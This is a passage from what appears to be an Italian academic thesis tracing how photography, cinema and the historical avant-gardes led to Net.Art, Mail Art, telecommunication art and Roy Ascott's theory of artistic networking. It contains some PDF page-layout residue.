supporti tecnici. Così come è obsoleto concepire uno studio sull’arte 

prescindendo da uno studio sui dispositivi mediali.  Forme e 

tecnologie sono come i software e gli hardware delle moderne 

tecnologie, intimamente connesse, intimamente legate.  

Secondo Lorenzo Taiuti con l’arte elettronica si è di fronte ad 

una svolta radicale perché si segnerebbe definitivamente il 

superamento del ruolo dell’arte come ‘rappresentazione’. In realtà a 

partire dall’inizio del Novecento, con il lavoro delle avanguardie, si è 

vista una generale tendenza a destrutturare lo statuto dell’arte 

tradizionale, a partire proprio dal suo carattere di rappresentazione 

della realtà. Nella commistione di sperimentazioni artistiche e 

linguaggi della comunicazione mediale, man mano che la 

comunicazione proliferava allargando a livello di massa il suo bacino 

d’utenza, varie tendenze hanno portato l’arte a snaturarsi e a 

modificarsi, ora esplodendo e ‘infettando’ luoghi non deputati alla 

sua fruizione – happenings -  ora implodendo e racchiudendosi in 

un’idea – arte concettuale – o in una serie di istruzioni – Fluxus. Sono 

comunque le avanguardie quelle che più reattivamente rispondono  

all’irruzione di nuovi linguaggi, rivolgendo maggiore attenzione ai 
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dispositivi.  

“La funzione che le avanguardie svolgono consiste insomma, in 
sostanza, nell’adeguare i modi e le funzioni dell’immaginario alla 
nuova fase antropologica indotta dalla neo-tecnica”.(Costa 1999: 47)  
Secondo Costa è proprio il lavoro delle avanguardie a dover 

essere analizzato in quelle fasi storiche in cui si profilano nuove 

derive antropologiche, in cui perturbazioni tecnologiche causano 

espansioni e deflagrazioni nei panorami mediali. Il progresso 

tecnologico ha sempre influenzato l’arte, ma questo rapporto è 

rimasto sempre sotto la ‘superficie’ fino al lavoro svolto dalle 

avanguardie del ‘900. Proprio la parola ‘arte’ acquisisce una 

dilatazione semantica che ha, tra le altre funzioni, quella di riportare 

a galla questo rapporto. Le avanguardie disvelano il significato delle 

nuove tecnologie lavorando sulle specificità dei nuovi mezzi e 

sperimentando sui linguaggi che ne derivano. Ma il lavoro delle 

avanguardie non si limita alla sperimentazione dei linguaggi, ma 

investe gli stessi meccanismi di selezione, valutazione ed esposizione 

artistica. Grazie alle avanguardie storiche possiamo considerare la 

storia dell’arte come una progressiva entrata in crisi dei principi di 

creatività, soggettività ed espressione. Costa riconosce  in tre vettori 

le tendenze che avrebbero portato l’arte a: 

9 Destrutturare il soggetto 

9 Estroflettere e spettacolarizzare il corpo 

9 Artificializzare l’esperienza 
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Ancora. Costa divide la storia dell’arte fornendo tre chiavi 

diverse di interpretazione a seconda del focus che si vuole prendere 

in considerazione:  

DISPOSITIVO: la considerazione della messa in opera, le 

componenti tecniche e tecnologiche, le relazioni, le componenti, le 

mutazioni. 

COINVOLGIMENTO: lo spazio di investimenti emozionali, il 

ruolo del fruitore o del pubblico, la percezione, la sensorialità. 

ESTETICO: funzione della riflessione filosofica e metafisica, sul 

concetto di gusto piuttosto che di ‘bellezza’ e ‘verità’. 

L’errore che C. fa è quello di concentrare la sua attenzione quasi 

esclusivamente sui dispositivi tralasciando completamento il fattore 

‘coinvolgimento’, che pure considera nella sua schematizzazione. 

Un’arte che si metta “sotto il segno dell’antropologia” deve 

analizzare media e linguaggi, senza tralasciare il modo in cui essi 

sono culturalmente e storicamente utilizzati, innovati, sperimentati. 

Non si può quindi concentrare l’attenzione soltanto su uno degli 

aspetti, per esempio sui soli dispositivi, piuttosto che sui soli 

significati, o sulle esperienze dei fruitori, senza rischiare di perdere 

fattori importanti di interpretazione. Una nuova antropologia 

dell’arte deve essere transdisciplinare e ibrida: culturologica, 

massmediologica, sociologica, estetica. 

Seguendo invece il discorso di Taiuti traccerei una storia delle 

influenze, che arte, media e linguaggi di massa hanno intessuto 
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reciprocamente. È possibile delineare una serie di fratture che hanno 

dato il via a pratiche innovative allargando effettivamente il campo 

dei significati e delle pratiche artistiche. Dimostrerò poi nel prossimo 

capitolo, che l’inconscio lavorio delle avanguardie l’arte elettronica, 

come Costa afferma, per realizzarsi nelle opere di Net.Art si di un 

livello interconnettivo.  

La prima vera frattura, destinata a produrre calcificazioni 

inedite, è sicuramente l’avvento della fotografia nei linguaggi visuali. 

La riproduzione della visione viene meccanizzata, affidata ad una 

macchina che sfida il tradizionale rapporto percezione-occhio-mano. 

Il corpo intero delle arti, ma in particolare la pittura, reagiscono alle 

nuove prospettive introdotte dalla fotografia mutuandone i modi 

spaziali. Allo stesso modo la fotografia fa proprie alcune delle 

caratteristiche della ritrattistica classica. Con la fotografia è chiaro il 

processo di remediation che avviene tra nuovi e vecchi mezzi di 

comunicazione. La pittura reagisce all’ondata di realismo 

meccanizzato portato dalla fotografia prima, assumendone tratti 

caratteristici, come nella pittura di genere storico e spettacolare, poi 

modificandosi per arrivare a visioni tutt’altro che realistiche 

introdotte, per esempio, dalle correnti cubiste e surrealiste. La 

fotografia invece rimedia i mezzi precedenti introiettandoli nel suo 

linguaggio, per poi  giungere alla costituzione, e al riconoscimento, di 

propri linguaggi specifici.  

“E’ la fotografia a porre in evidenza, e nella quotidianità, la 
contraddizione apertasi fra tecnica, linguaggio e ruolo creativo” 
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(Taiuti 1996: 13) 
L’introduzione della fotografia non solo permette una nuova 

riconfigurazione dei linguaggi visivi, ma mette in discussione il ruolo 

del soggetto creativo e del suo rapporto con la tecnica. Si impone 

infatti una relazione più stretta tra mezzi tecnici e artisti, che porta un 

problema alla tradizionale visione del genio-artista romantico. Ma 

accade di più: con la fotografia la realtà non viene più semplicemente 

trascritta o tradotta, ma viene ‘riprodotta tecnicamente ’. L’opera 

d’arte, per dirla alla Benjamin, perde definitivamente la sua aura 

sacrale, il suo carattere divino e contingente. Questo diventa ancora 

più chiaro quando vengono commercializzate, nel 1888 da Eastman, 

macchine fotografiche di facile utilizzo, che immediatamente si 

diffondono a livello di massa, mettendo nelle mani di un numero 

sempre maggiore di persone uno strumento con cui facilmente 

produrre, replicare e diffondere immagini. L’era della proliferazione 

delle immagini assume un ritmo vertiginoso. 

“Sin dall’inizio, la fotografia ha comportato la cattura del maggior 
numero possibile di soggetti. E la successiva industrializzazione 
della tecnologia fotografica non ha fatto che dar corpo a una 
promessa insita nella fotografia fin dagli esordi: quella di 
democratizzare tutte le esperienze traducendole in immagini” 
(Sontag 1974) 
E’ il cinema a raccogliere l’eredità della fotografia per portare 

un’ulteriore frattura al panorama delle arti e della comunicazioni di 

massa. La resa delle immagini in movimento nello spazio, e la tecnica 

del montaggio di video sequenze, permette di modulare le esperienze 

visive secondo nuove modalità. Gli spostamenti della cinepresa 
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portano gli spettatori a nuovi livelli di visione, ingigantendo per 

esempio i piccoli particolari per riportarli sul grande schermo. 

ZOOM. Il montaggio rivoluziona la stessa esperienza visiva, lo 

spazio e il tempo vengono modulati attraverso il  ritmo del 

susseguirsi delle immagini. La realtà diventa un avvicendarsi di 

frammenti messi in fila per generare una sensazione di flusso della 

visione.  Ma la visione stessa non ha centro, come accadeva con la 

tradizione della prospettiva rinascimentale: gli spettatori vivono la 

sensazione di guardare da diversi punti di vista grazie alle 

inquadrature e ai movimenti delle cineprese. Il cinema è la prima arte 

ad assumere metodi di produzione e diffusione industriale, portando 

numerose persone a collaborare e lavorare per la realizzazione di un 

solo prodotto. 

Così come il montaggio nel cinema è la tecnica del collage, 

introdotta dal cubismo nella pittura, a radicalizzare l’esperienza del 

quadro. Si giustappongono materiali diversi come cerate, carte 

colorate o pezzi di giornale, si caricano di significato i lavori 

attraverso un’eterogeneità programmatica. L’utilizzo di carta 

stampata e pubblicità all’interno delle opere segna l’ingresso delle 

comunicazioni di massa ad un livello estetico: la mediazione 

dell’informazione diventa materiale per la creazione di mondi 

alternativi. La presunta ‘verità’ della stampa è utilizzata per la 

finzione artistica.  La tecnica del collage è eversiva: non solo 

‘selezionare e combinare’ diventano atti dalla valenza artistica, ma 



 

 84

 
 
 
 
 

alcuni materiali, prima considerati privi di valore estetico o di utilità, 

vengono elevati e resi degni di entrare a far parte del mondo 

dell’arte. L’uso straniato e sorprendente di oggetti da 

defunzionalizzare e decontestualizzare sarà tipico della 

sperimentazione dadaista, ironica e sbeffeggiante.  

La corrente futurista si caratterizza invece per un’invasione 

programmatica di tutto il mediascape e di tutti i linguaggi della 

comunicazione di massa. Le pratiche artistiche riconoscono di dover 

acquisire quella rapidità, visibilità e pervasività tipiche dei nuovi 

supporti mediatici. Le riviste, il telegrafo, la radio, il cinema e la 

fotografia sono tutti impiegati per l’estetica e il messaggio futurista, 

che fa della tecnologia sia un fine che un mezzo d’espressione. Siamo 

agli albori della multimedialità: 

“Nel veder salire velocemente un aeroplano, mentre una banda 
suonava in piazza, abbiamo intuito il Concerto plastico-motorumorista 
nello spazio e il Lancio di concerti aerei al di sopra della città. - La 
necessità di variare ambiente spessissimo e lo sport ci fanno intuire 
il Vestito trasformabile (applicazioni meccaniche, sorprese, trucchi, 
sparizioni d'individui) - La simultaneità di velocità o rumori ci fa 
intuire la Fontana giroplastica rumorista. - L'aver lacerato e gettato nel 
cortile un libro, ci fa intuire la Réclame fono-moto-plastica e le Gare 
pirotecnico-plastico-astratte. - Un giardino primaverile sotto il vento 
ci fa intuire il Fiore magico trasformabile motorumorista. - Le nuvole 
volanti nella tempesta ci fanno intuire l'Edificio di stile rumorista 
trasformabile.” (Balla e Depero: 1915)17 
 Se il futurismo vedeva orizzonti soltanto positivi nell’impiego 

delle macchine e nella loro capacità intrinseca di trasformare la 

società, il movimento Dadaista si pone in maniera fortemente critica. 

                                            
17 http://www.morciano.it/boccioni/manifesto-della-ricostruzione.htm 
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I codici vengono sovvertiti per una critica dei sistemi artistici e 

culturali. Nasce l’anti-opera. Il collage diventa destrutturante e anti-

estetico, teso verso la produzione di nonsenso. Il reale è un gioco di 

specchi e di rimandi.  

“Libertà: Dadà. Dadà. Dadà. Urlo di colori contratti, groviglio degli 
opposti e di tutte le contraddizioni” 18 
Merito invece della corrente Surrealista è quello di generare 

definitivamente la frattura tra realtà e rappresentazione - non è un 

caso che l’antropologia si sia avvicinata a questa corrente - giocando 

con l’illusione e lo spiazzamento, facendo dell’arte un dispositivo per 

l’attivazione di meccanismi psicologici..  

Tutte le esperienze artistiche dell’inizio del Novecento danno 

esempi e modelli per un’arte sempre più fluida e multimediale. Per 

tutte valgono i principi della moltiplicazione dei piani di visione, 

della contaminazione tra i generi e le forme dell'arte, della 

frammentazione e mescolamento dei saperi, ecc. Soggettività, 

creatività ed espressione vengono demistificate. L’arte non è più 

rappresentazione della realtà e la creatività non appartiene più al 

genio romantico. Il nuovo artista si diverte nel gioco della citazione, 

della sovrapposizione e della parodia. Come dice Eco: 

 "Il concetto di originalità assoluta, rispetto ad opere precedenti e 
alle stesse regole di genere è concetto contemporaneo, nato col 
romanticismo; l’arte classica era in vasta misura seriale e le 
avanguardie storiche hanno messo in crisi in modi diversi l’idea 
romantica della creazione come debutto nell’assoluto (con le 
tecniche di collage, i baffi alla Gioconda, etc.) ". 

 
                                            
18 http://www-utenti.dsc.unibo.it/~cavatoi/ig/disgusto%20dadaista.htm (u.a. 4/6/2003 ) 



 

 86

 
 
 
 
 

 



 

 87

 
 
 
 
 

 N
e

t.A
rt 

– 
N

o
t.A

rt 



 

 88

 
 
 
 
 

 

NNeett..AArrtt  ––  NNoott..AArrtt 

 

 

 

We artists are trying to seduce 
the machine: we wish to 
embrace it with our ways of 
thinking and feeling. We want 
computers that emote, 
networks that are sentient, 
robots that care. We stroke 
their screens, play with their 
mice, run our fingers over their 
keyboards, to entice them 
into our field of 
consciousness. 
 

 Roy Ascott - Turning on 
technology 

 
Come il computer imita fino ad ora l’uomo, nella sua capacità di 
ricordare e richiamare informazioni per associazione, così dobbiamo 
forzare il sistema in senso creativo, distorcere e violare norme logiche, 
producendo invece sogni, allusioni, rimandi, metafore e paradossi. E’la 
poetica del networking che cerchiamo 
Roy Ascott – Il momento telematico 
 

 

Questione di terminologia 

Il termine Net.Art è frutto sia di una leggenda sia di un 

dibattito tenutosi tra artisti, critici e operatori culturali sulla mailing 

list di nettime19. La leggenda, che non è avvalorata da nessuna prova 

                                            
19 http://www.nettime.org/  (u.a. 16/06/2003) 
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ma che viene citata ormai dappertutto, narra di una mail anonima 

ricevuta nel 1995 da Vuk Cosic, oggi tra i maggiori esponenti di 

Net.Art. Per un’incompatibilità di software il testo che apparve sul 

suo computer risultava pressoché incomprensibile. L’unica stringa 

che aveva un benché minimo senso appariva così: 

[...] J8~g#|\;Net. Art{-^s1 [...]. 

Cosic iniziò immediatamente ad utilizzare il termine “Net.Art”, 

compreso di puntino in mezzo. La definizione per un movimento tra 

i più eterogenei e complessi del novecento inizia quindi con un 

readymade. Un errore dovuto all’incompatibilità tra un codice e un 

software diventa una definizione.  Il dibattito che seguì 

l’introduzione e la prima circolazione del termine riguardava la scelta 

tra Net.art e un altro termine in voga: Art-on-the-web. Vinse il primo, 

poiché il termine NET evidenziava sia l’entusiasmo per la Rete stessa, 

ingrediente fondamentale delle nuove opere proposte, sia un 

carattere di collaborazione e di creazione di reti sociali. Art-on-the-web 

non avrebbe dato il senso delle pratiche che si stavano sviluppando, 

avrebbe considerato la Rete come un semplice strumento di 

distribuzione o esposizione di opere prodotte fuori dal web. La Rete 

come metodo, e metatesto, vinse sulla Rete come vetrina.  

“Per loro la rete non è altro che un grande elenco telefonico in cui 
anch'essi vogliono (devono) essere rappresentati. L'arte in rete (art 
on the net) è solo documentazione dell'arte che non viene creata in 
rete, ma al di fuori di essa e, in termini di contenuto, non vi 
stabilisce alcuna relazione. La net.art funziona solo in rete e prende 
la rete o il "mito della rete" come tema. Ha spesso a che vedere con 
concetti strutturali: un gruppo o un individuo progetta un sistema 
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che può essere espanso da altre persone.” (Joachim Blank, What is 
netart ;-) ?)20 
Ancora un’altra distinzione. Net.Art e Web Art non sono la 

stessa cosa, anche se l’attribuzione delle opere all’una o all’altra 

etichetta tende col tempo a sfumare sempre di più. Prima di tutto il 

World Wide Web è un tipo particolare di rete che si basa su un 

protocollo di trasmissione: http. Sostanzialmente il web è ciò che 

vediamo quando apriamo un browser come Internet Explorer o 

Netscape. Net è invece un termine ombrello  che può racchiudere 

ogni tipo di network e di protocollo di trasmissione. Ancora. La 

Net.Art si basa sulla creazione di networks, comunità o reti di 

comunicazione. Le opere sono fortemente concettuali e interattive, 

spesso hanno una tendenza a rappresentarsi in modo low tech. La 

Web Art è invece più spostata sul design, sulla fascinazione 

audiovisuale, non ha necessariamente connessioni tra utenti ed ha 

caratteristiche decisamente high tech. C’è chi parla di arte online, cioè 

di arte di cui si possa fare esperienza solo collegati ad Internet. 

Neanche questo termine è appropriato perché alcune delle opere che 

vengono fatte appartenere alla Net.Art vengono sì organizzate 

online, ma spesso si sviluppano in contesti fisici. L’arte in rete 

appartiene alla Rete, non è pensabile senza i network elettronici, 

gioca con i suoi protocolli e con le peculiarità tecniche, sfrutta i bugs e 

spinge al massimo le potenzialità di software e hardware. Allo stesso 

tempo l’arte in Rete non solo è consapevole degli aspetti tecnologici, 

                                            
20 Joachim Blank, What is netart ;-) ?, www.irational.org/cern/netart.txt (u.a. 16/06/2003) 
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ma anche delle implicazioni sociali e culturali di Internet. Proprio con 

questi gioca adottando strategie ibride e intermediali.  

“An Art form evolving within a system that is so fully totalizing 
and global that it contains within it every other known mass 
medium on the planet.” (David Ross in “Art and the age of the 
Digital, 1999) 
Una distinzione che adotto qui è quella coniata da Tilmann 

Baugmaertel, giornalista coinvolto nel movimento sin dai suoi inizi, 

che divide le opere in Net works e Networks. Le prime sono opere 

realizzate specificamente per il web in forma di Sito Internet, mentre 

le seconde, emergendo da connessioni sociali e collaborative, trovano 

senso proprio nella creazione di networks e comunità. Gli ambienti 

che favoriscono queste dinamiche sono le mailing list, le chat, o 

alcuni eventi, come i Netstrike: azioni di protesta organizzate per 

colpire un determinato sito internet. Anche se legate ad azioni non 

accettate socialmente, come lo spamming o il cyber-crimine, una delle 

questioni principali rimane il potere e il controllo che si annidano 

negli spazi sociali creati da Internet. Gli artisti della Rete  lavorano in 

questi spazi e con questi spazi. Tutti questi lavori in ogni caso sono 

net-specific, non potrebbero esistere in nessun altro mezzo, non 

potrebbero essere fruite in nessun altro contesto.   

 

La Net.Art non nasce dal nulla, è il territorio d’approdo di una 

serie di pratiche che solo di recente hanno trovato posto nei canoni 

della cultura storicizzata e ufficializzata. Oltre alle esperienze delle 

avanguardie storiche, che di certo hanno fornito strumenti 
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concettuali eccezionali, la Net.Art può essere meglio compresa se si 

indagano due fenomeni: la Mail Art da una parte, Fluxus e la 

telecomunicazione dall’altra.  

 

 

Mail Art 

 

“L’arte per corrispondenza è un’arte viva, 
aperta, collettiva, solidale, un processo che 
s’insinua nei ritmi quotidiani, il sogno di 
tante avanguardie di un’arte perfettamente 
compenetrata nell’esistenza fattasi realtà.” 
(Vittorio Baccelli)21 
 
La mail art, o arte postale, rappresenta 

un antecedente importante nella 

comprensione delle idee sottese ai 

movimenti di Net.Art. Come ogni fenomeno artistico che nasca dal 

basso, e che soprattutto non abbia ancora raggiunto gli allori di una 

storicizzazione formale,  le origini si confondono. C’è chi fa risalire al 

futurismo e al dadaismo le prime pratiche spontanee di Arte postale. 

Marinetti usava le lettere come un mezzo d’espressione dal fronte 

durante la prima guerra mondiale. Estetica della guerra a parte il 

padre del futurismo si divertiva a creare o modificare timbri, caratteri 

e loghi. Duchamp adoperò quattro cartoline con un testo e le spedì al 

suo vicino di casa. La Mail Art vera e propria è nata dalla corrente 

                                            
21 http://baccelli1.interfree.it/mailart1.htm (u.a. 19/05/2003) 
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concettuale degli anni ’60, in particolare dal gruppo Fluxus, che si 

distinse per una serie di azioni-interventi in puro stile neo-dadaista. 

Nel 1962, da una costola dello stesso movimento Fluxus, l’americano 

Ray Johnson fondò la “New York Corrispondance School of Art” al 

fine di istituzionalizzare, e rendere riconoscibile in qualche modo, 

una pratica che prevedeva la rappresentazione  e la distribuzione 

dell’arte attraverso i canali alternativi dei circuiti postali. Gli elaborati 

venivano spediti agli appartenenti ad un circuito di indirizzi. Col 

tempo gli involucri stessi, i francobolli e i timbri  diventarono parte 

delle operazioni. La Mail Art agiva ai margini del sistema 

istituzionale di selezione e distribuzione artistica, democratizzando 

questi processi. Ma più che le opere materiali erano importanti lo 

scambio e il processo di comunicazione: dai prodotti ai processi 

mentali.  

Tilmann Baugmaertel in Netcondition osserva:  

”From its nature, mail art was a network matter and like the 
Internet, the Mail Art network had no central point and 
theoretically was open to all – which, paradoxically, did not 
increase its visibility” (154) 
La Mail Art tradizionale apparteneva ad un tempo in cui la 

dematerializzazione e la producibilità elettronica erano solo agli 

albori. Questo non permise al movimento di raggiungere vastissime 

platee e tantomeno di estendersi a macchia d’olio, come succede con 

le mail digitali. L’avvento di Internet e della posta elettronica hanno 

apportato nuova linfa vitale al fenomeno radicalizzando le idee 

portate avanti dal vecchio movimento. L’annullamento di distanze 
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Hannibal – Nam June 
Paik 

spaziali e temporali, e l’avvento dell’hyperlink,  hanno permesso alla 

Mail Art, applicata ai reami digitali, di essere immediatamente 

riconosciuta come un pilastro fondante della Net.Art e di essere parte 

di mostre internazionali come Documenta a Kassel e Manifesta a 

Francoforte. In sostanza ciò che accomuna la Mail Art e la Net.Art è 

principalmente il fattore di scambio tra i partecipanti, che si pongono 

al di là delle monolitiche istituzioni che ancora troneggiano sul 

sempre più complesso ed eterogeneo mondo dell’arte, e la diffusione 

da punto a punto, in opposizione a quelle centralizzata dei musei.   

 

Arte e Telecomunicazione 

 

Artisti come Wolf Vostell e Nam June 

Paik, a partire dalla fine degli anni ’60, 

affascinati dalle possibilità della 

telecomunicazione e dalle potenzialità dei 

media, tentarono di decostruire il mezzo 

televisivo operando per esempio 

sull’alterazione del segnale. E’ curioso 

notare come numerosi Net.Artisti oggi 

lavorino con le insufficienze e i problemi dei 

media in Rete, con i software e con molte delle convenzioni tecniche 

date per scontate solo perché commercialmente più forti. Alterare un 
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segnale televisivo, così come modificare un videogame,  dà la 

possibilità di percorrere i confini del mezzo in questione. Spingere  

sempre oltre i limiti di un mezzo significa renderlo poroso, sempre 

più in grado di attivare processi di comunicazione interno/esterno e 

di ibridizzazione/contaminazione. La riflessione in questo modo 

risiede molto di più su cosa significhi ‘comunicazione’ che su cosa 

significhi ‘espressione’. Sebbene non fossero tecnologie diffuse a 

livello di massa e abbastanza costose, a partire dagli anni ’60 alcuni 

artisti iniziarono ad utilizzare fax, reti e sistemi di teleconferenza. 

Tilman Baugmaertel ricorda che nel 1977 tre artisti del gruppo dei 

Concettuali, Liza Bear, Keith Sonnier e Willough Sharp, si rivolsero 

addirittura alla NASA per organizzare  il “Two Way Demo”, una 

conferenza via satellite che permise ad artisti della costa est e della 

costa ovest degli Stati Uniti di comunicare ed essere trasmessi in 

televisione. Nello stesso anno  Joseph Beauys, Douglas Davis e Nam 

June Paik aprirono documenta 6 con un collegamento via satellite che 

permise loro di essere osservati in oltre trenta paesi: forse il pubblico 

più numeroso che abbia mai assistito ad un evento artistico. Queste 

occasioni diedero il la ad interventi che cercarono sempre di più di 

indagare i concetti del ‘mettere in comunicazione’ o di ‘far 

partecipare’. La dinamica unidirezionale della televisione stessa, 

mezzo che affascinava un gran numero di artisti, inizia ad essere 

vista come un  limite da superare. Come disse Davis a documenta 6 

durante la performance finale:  
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“Credo che la televisione sia una barriera per la comunicazione, 
non un aiuto. Possiamo metterci in contatto con lo spettatore 
soltanto rompendo questa barriera” (The last nine minutes, 1977)22 
Davis stesso fu tra i primi ad usare la televisione come un 

mezzo bidirezionale, sulla scia di quella che era un’idea di Berthold 

Brecht sulla radio oltre 40 anni prima:  

“But quite apart from the dubiousness of its functions, radio is one-
sided when it should be two-. It is purely an apparatus for 
distribution, for mere sharing out. So here is a positive suggestion: 
change this apparatus over from distribution to communication” 
(The Radio as an Apparatus of Communication, 1932)23 
Sempre nel 1977 fu lanciato il Satellite Arts Project24 da  Kit 

Galloway e Sherry Rabinowitz. Il progetto permise a due gruppi di 

ballerini di interagire tra di loro e di ballare insieme sugli schermi 

nonostante una distanza di oltre 3000 kilometri.  

 

 

 

 Esperienze come questa pongono le prime domande a cui 

cercheranno di dare risposta negli anni successivi i Net.Artisti: quali 

sono lo spazio e il tempo della performance? Con l’avvento dei 

computer fu ancora più interessante inserire il nuovo oggetto 

tecnologico nei progetti di telecomunicazione artistica. Tra i pionieri 
                                            
22 Cit in Netcondition 
23 “A parte i dubbi sulle sue fuzioni, la radio funziona da una sola parte quando dovrebbe 
funzionare da due. E’soltanto un apparato per la distribuzione,  per la suddivisione. Ecco quindi 
un chiaro suggerimento: cambiare questo apparato dalla distribuzione alla comunicazione.” 
http://telematic.walkerart.org/telereal/bit_brecht.html (u.a. 16/5/2003) 
24 http://www.ecafe.com/getty/SA/ (u.a. 17/5/2003) 

Kit Galloway and Sherrie Rabinowitz, 1977   
Satellite-performance "Virtual Space/ Composite Image -  
Space Dance" from "Satellite Art Project” 
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in Italia ci fu Mario Costa, toeorico del sublime tecnologico, che ospitò 

nel 1986, nell’ambito di Artmedia, un’installazione di David Rokeby. 

In sostanza vennero collegate tre telecamere, un computer e dei 

sensori ad un campo elettromagnetico che, se attraversato, produceva 

dei suoni. I segnali emessi venivano teletrasmessi oltre l’Atlantico 

dove era stato montato un dispositivo identico. Mario Costa fu tra i 

primi ad intuire le profonde modificazioni antropologiche delle neo-

tecnologie comunicazionali, sia sulle possibilità estetiche che andavano 

aprendosi, che sul ruolo che gli artisti avrebbero assunto. Costa 

individua 4 fasi che segnerebbero il graduale avvicinamento della 

produzione artistica al sublime tecnologico, grazie alle tecnologie 

della comunicazione:  

 

1. Prodotti confezionati in modo tradizionale vengono 

trasmessi o trasferiti in un altro luogo. Nei modi di 

produzione non è intenzionale la trasmissibilità. Es. Le 

riprese televisive di un concerto. Il pubblico assiste ad 

una performance 

2. Prodotti confezionati per essere trasmessi in uno specifico 

mezzo, adeguando la spettacolarizzazione dell’evento alla 

resa del mezzo stesso. Es. programma televisivo, Mtv. Il 

Pubblico assiste ad una trasmissione.  

3. I prodotti sono dedicati alla trasmissione, utilizzano le 

risorse linguistiche specifiche del mezzo come risorsa 

Net.Art 
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espressiva. “il lavoro è il flusso audio-visivo 

trasmesso”(1998: 55). Autore, tecnico e regista si 

confondono. Il  pubblico accede al canale mass-mediatico. 

Es. Arte radiofonica, musica concreta elettronica, 

videoarte, computer art.  

4. Fase dell’”estetica della comunicazione”: non esiste più 

una funzionalità espressiva o un linguaggio. I canali e le 

reti diventano significanti da attivare, dispositivi 

tecnologici da far funzionare per la creazione di “nuovi 

eventi estetico antropologici”(56) 

 

L’ultima fase porterebbe all’estetica del sublime tecnologico: 

“Il ricercatore estetico che opera cone le nuove tecnologie 
comunicazionali non mantiene in nessun modo il vecchio 
connotato dell’ “artista”: egli non si esprime, non si serve di un 
linguaggio, non è attento alla qualità estetica delle forme, non ci 
parla del significato, egli invece progetta e mette in opera, per la 
prima volta nella storia dell’uomo, dei dispositivi tecnologici tali da 
produrre il sublime e da offrirlo alla riflessione contemplante” (61) 
 

L’idea di un’estetica che porti alla dissoluzione definitiva del 

soggetto è perfettamente in linea con le tesi di molti dei teorici 

cosiddetti post-moderni. Mi sembra però che la 4 fase di cui parli 

Costa, oltre ad essere un superamento dell’Arte tradizionalmente 

concepita,  sia un approdo verso una situazione bloccata in cui non 

solo non c’è più espressività, ma neanche margini di critica sociale. Il 

sublime tecnologico  di cui parla Costa non è altro che la possibilità da 
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parte dell’uomo  di poter gestire la sensazione di schiacciamento nei 

confronti delle potenzialità delle neo-tecnologie - che possono 

provocargli un misto di piacere e panico - avendo la consapevolezza 

di una “nuova spiritualità intellettuale”. I nuovi artisti metterebbero 

in “opera l’idea della potenza umana e della superiorità della ragione 

che domina e riconduce a sé ogni cambiamento”. (66) Riesco a 

seguire Costa fino a quando parla di superamento dell’Arte, 

superamento dell’autorialità e del pubblico, ma trovo inutile e 

pericolosa una teorizzazione che liquidi definitivamente i linguaggi 

in virtù di una produzione e fruizione anestetizzata di un ipotetico 

‘sublime’.  

Credo che la Net.Art si vada a posizionare nella piena 

realizzazione della 3 fase di cui parla Costa. Internet viene indagato 

come mezzo specifico e come contenitore potenziale di tutti gli altri 

media. Il pubblico è composto da utenti che accedono, modificano e 

partecipano: prod-users.  

Negli ultimi 15 anni un numero sempre maggiore di artisti si è 

cimentato con le possibilità, pratiche e teoriche, di opere collaborative 

che utilizzassero dispositivi di telecomunicazione. Il fine ultimo di 

questi lavori non risiede nella costituzione di oggetti fisici, come 

nell’arte tradizionale, ma nell’organizzazione di una serie di ‘eventi’ 

in cui grafica, immagini, computer, video, modem e altri dispositivi, 

diventano parte di un macrocontesto comunicativo interattivo e bi-

direzionale.  
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Come dice Eduardo Kac nel saggio “Aspects of the aesthetics of 

telecommunications25”:  

“The new material which artists will be dealing with more and 
more must be identified, then, in the intersection between the new 
electronic processes of visual and linguistic virtualization brought 
irreversibly by telecommunications and the personal computer 
(word-processing, graphic programs, animation programs, 
fax/modems, satellites, teleconferencing, etc) and the residual forms 
that resulted from the process of dematerialization of the art object, 
from Duchamp to conceptual art (language, video, electronic 
displays, printing techniques, happenings, mail art, etc).”26 
Il connubio tra cibernetica e telematica ha reso possibile la 

formazione di contesti comunicativi radicalmente nuovi, in cui le 

interazioni tra artista e pubblico, o – se si vuole -  tra partecipanti, 

sono gli aspetti chiave da indagare. Ciò che rimane sotteso all’arte 

telematica è semplice: cercare di creare situazioni nuove, in termini 

per esempio di spazio/tempo, per analizzare il comportamento degli 

uomini.  

Networking 
 

L’artista che ha meglio saputo dare un’impronta teorica al connubio 

di Arte e Telematica è stato Roy Ascott, probabilmente il primo a parlare 

di new media art intuendo il cambiamento antropologico che la cibernetica 

avrebbe portato nelle esperienze umane: 

“Cybernetics is not only changing our world, it is presenting us 
with qualities of experience and modes of perception which 

                                            
25 http://www.ekac.org/Telecom.Paper.Siggrap.html (u.a. 18/05/2003) 
26 Il nuovo materiale con cui gli artisti si cimenteranno sempre di più deve essere identificato, 
quindi, nell’interazione tra nuovi processi elettronici di virtualizzazione visuale e linguistica portati 
irreversibilmente dalla telecomunicazione e il personal computer (word-processor, programmi di 
grafica, programmi di animazione, fax/modem, satelliti, teleconferenze, etc.) e le forme residue 
che derivano dal processo di dematerializzazione dell’opera d’arte, da Duchamp all’arte 
concettuale (linguaggi, video, display elettronici, tecniche di stampa, happening, mail art, etc.) 
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radically alter our conception of it” (Ascott in New Media Reader, 
130)  
Roy Ascott teorizza il networking artistico, una “pratica 

teleinterattiva che prevede solo partecipanti creativi collegati in rete” 

(Cuomo in “Estetica della comunicazione, 131: 1999). Il networking 

dissolve la categoria di spazio perché gli eventi creati avvengono in 

spazi virtuali, senza confini identificabili, senza geografie mappabili. 

Il networking fa esplodere la categoria di tempo, perché diversi tempi 

e diversi fusi orari vengono connessi simultaneamente, in real time. 

Ma c’è anche il tempo dell’eterna disponibilità, in cui eventi asincroni 

vengono prodotti on-demand, mediati e assemblati dal computer e 

dalle Reti. Il networking mette in questione la stessa creatività 

dell’autore e dell’intenzionalità dei significati dell’opera: “Non c’è 

creazione senza partecipazione, non c’è partecipazione senza 

distribuzione” (Ascott cit. da Cuomo, 132).  

Gli autori si moltiplicano e si disseminano: dispersed autorship. Il 

networking privilegia il flusso, quindi nelle opere non c’è completezza, 

ma incessante modificabilità. Il corpo fisico è trasceso. La somma 

delle menti dei partecipanti genera  

“[…] un’immaginazione collettiva in cui la sensibilità individuale 
sia accresciuta, la percezione estesa, il pensare amplificato e la 
coscienza allargata – una visione globale” (ivi) 
In generale si può affermare che sono gli schemi tradizionali 

della comunicazione ad essere messi in discussione, in termini di 

codici, mittente e destinatario, messaggio, rumore, contesto e 

feedback.  Con la Net.Art il modello comunicazionale sarà da 
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intendersi come una molteplicità di flussi, a cui si accede attraverso 

diversissime entrate, in cui tutti sono emittenti e riceventi.  

